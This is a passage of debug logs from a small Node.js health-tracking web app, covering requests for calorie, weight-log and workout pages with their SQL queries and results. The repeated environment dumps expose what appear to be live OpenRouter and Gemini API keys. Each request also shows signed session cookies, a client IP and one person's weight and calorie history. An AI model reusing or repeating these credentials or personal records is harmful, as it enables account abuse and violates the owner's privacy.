    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T00:45:06.673Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T00:45:06.674Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T00:45:06.674Z server-connect:app Executing action step identify
2025-12-24T00:45:06.674Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:06.674Z server-connect:output identity: 1
2025-12-24T00:45:06.674Z server-connect:app Executing action step restrict
2025-12-24T00:45:06.674Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:06.674Z server-connect:app Executing action step identify
2025-12-24T00:45:06.674Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:06.675Z server-connect:output identity: 1
2025-12-24T00:45:06.675Z server-connect:app Executing action step restrict
2025-12-24T00:45:06.675Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:06.675Z server-connect:output restrict: undefined
2025-12-24T00:45:06.675Z server-connect:app Executing action step single
2025-12-24T00:45:06.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T00:45:06.675Z server-connect:output restrict: undefined
2025-12-24T00:45:06.675Z server-connect:app Executing action step single
2025-12-24T00:45:06.675Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T00:45:06.676Z server-connect:output summary: undefined
2025-12-24T00:45:06.677Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T00:45:06.677Z server-connect:app Executing action step select
2025-12-24T00:45:06.677Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T00:45:06.679Z server-connect:output item_list: []
2025-12-24T00:45:06.679Z server-connect:app Executing action step setvalue
2025-12-24T00:45:06.679Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T00:45:06.679Z server-connect:output var_total: 0
2025-12-24T00:45:06.679Z server-connect:app Executing action step setvalue
2025-12-24T00:45:06.679Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-24T00:45:06.679Z server-connect:output var_consumed: 0
2025-12-24T00:45:06.679Z server-connect:app Executing action step setvalue
2025-12-24T00:45:06.679Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-24T00:45:06.679Z server-connect:output var_deficit: 2400
2025-12-24T00:45:06.680Z server-connect:app Executing action step custom
2025-12-24T00:45:06.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-24T00:45:06.681Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '1325',
    surplus_or_deficit: '1075',
    status_flag: 2
  },
  {
    intake_date: 2025-12-22T18:30:00.000Z,
    total_consumed: '1052',
    surplus_or_deficit: '1348',
    status_flag: 2
  }
]
2025-12-24T00:45:06.987Z server-connect:app Executing action step identify
2025-12-24T00:45:06.987Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:06.987Z server-connect:output identity: 1
2025-12-24T00:45:10.172Z server-connect:router Serving templateView /weight-trackor
2025-12-24T00:45:10.172Z server-connect:app Executing action step identify
2025-12-24T00:45:10.172Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:10.173Z server-connect:output identity: 1
2025-12-24T00:45:10.173Z server-connect:app Executing action step restrict
2025-12-24T00:45:10.173Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:45:10.173Z server-connect:output restrict: undefined
2025-12-24T00:45:10.173Z server-connect:router Render template weight-trackor
2025-12-24T00:45:10.173Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T00:45:10.397Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-24T00:45:10.397Z server-connect:app Executing action step identify
2025-12-24T00:45:10.397Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:10.397Z server-connect:output identity: 1
2025-12-24T00:45:10.397Z server-connect:app Executing action step restrict
2025-12-24T00:45:10.397Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:10.398Z server-connect:output restrict: undefined
2025-12-24T00:45:10.398Z server-connect:app Executing action step custom
2025-12-24T00:45:10.398Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-24T00:45:10.400Z server-connect:output list: [
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-24T00:45:13.362Z server-connect:router Serving templateView /workout
2025-12-24T00:45:13.362Z server-connect:app Executing action step identify
2025-12-24T00:45:13.362Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:13.362Z server-connect:output identity: 1
2025-12-24T00:45:13.362Z server-connect:app Executing action step restrict
2025-12-24T00:45:13.363Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:45:13.363Z server-connect:output restrict: undefined
2025-12-24T00:45:13.363Z server-connect:router Render template workout
2025-12-24T00:45:13.363Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/workout',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '157.48.248.126',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/workout',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.126',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/workout',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AxHYmim%2FoTc2KPr20nQzwHw%3D%3D.qe02wUH0YRZYaXKav45rB4DBUaj2icdyYNp1OO7MyZ1T4ywBAMqIA%2F4bvpGPxj7JNVMmvCsEGtMJhokdl5ucyrVGPyqcRNCbbL8%2BvHE7P2jpJJOvBm6ubZZGZjcdwIH9vmmR7HTuaphBTcGnWsrux6ZdqofHn3id%2BEGaMmNxq0c%3D.02FtE%2Fw1H00POOUi2OPFEWTqT8t0D%2FpiwuiqEIcJyis; your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '157.48.248.126',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T00:45:13.578Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-24T00:45:13.579Z server-connect:app Executing action step identify
2025-12-24T00:45:13.579Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:13.579Z server-connect:output identity: 1
2025-12-24T00:45:13.579Z server-connect:app Executing action step restrict
2025-12-24T00:45:13.579Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T00:45:13.580Z server-connect:output restrict: undefined
2025-12-24T00:45:13.580Z server-connect:app Executing action step select
2025-12-24T00:45:13.580Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-24T00:45:13.583Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-24T00:45:14.282Z server-connect:router Serving templateView /exercise/2
2025-12-24T00:45:14.283Z server-connect:app Executing action step identify
2025-12-24T00:45:14.283Z server-connect:app options: { provider: 'security' }
2025-12-24T00:45:14.283Z server-connect:output identity: 1
2025-12-24T00:45:14.283Z server-connect:app Executing action step restrict
2025-12-24T00:45:14.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T00:45:14.283Z server-connect:output restrict: undefined
2025-12-24T00:45:14.283Z server-connect:router Render template workout-exercise
2025-12-24T00:45:14.283Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
